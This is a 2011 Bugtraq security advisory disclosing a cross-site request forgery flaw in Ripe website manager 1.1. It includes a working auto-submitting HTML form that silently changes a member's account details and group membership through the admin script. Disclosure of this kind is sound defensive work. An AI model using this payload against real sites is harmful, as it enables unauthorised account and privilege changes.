bugtraq - HTB22898: XSRF (CSRF) in Ripe website manager

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Date: Thu, 24 Mar 2011 11:52:52 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22898: XSRF (CSRF) in Ripe website manager

Vulnerability ID: HTB22898
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ripe_website_manager.html
Product: Ripe website manager
Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ ) 
Vulnerable Version: 1.1 and probably prior versions
Vendor Notification: 10 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "ripe/modules/members/admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/ripe/?v=5&a=2&id=USERID" method="post" name="main">
<input type="hidden" name="actionformSubmit" value="1">
<input type="hidden" name="x" value="1">
<input type="hidden" name="y" value="1">
<input type="hidden" name="ripe_user" value="test">
<input type="hidden" name="ripe_name" value="test test">
<input type="hidden" name="ripe_email" value="email@...mple.com">
<input type="hidden" name="ripe_group" value="2">
<input type="hidden" name="ripe_new_pass" value="">
<input type="hidden" name="ripe_new_pass2" value="">

<input type="hidden" name="a_pages" value="  ">
<input type="hidden" name="a_menus" value="  ">
<input type="hidden" name="a_files" value="  ">
<input type="hidden" name="a_stats" value="  ">
<input type="hidden" name="a_forms" value="  ">
<input type="hidden" name="a_adverts" value="  ">
<input type="hidden" name="a_users" value="  ">
<input type="hidden" name="a_templates" value="  ">

<input type="hidden" name="change" value="change">
<input type="hidden" name="id" value="USERID">

</form>
<script>
document.main.submit();
</script>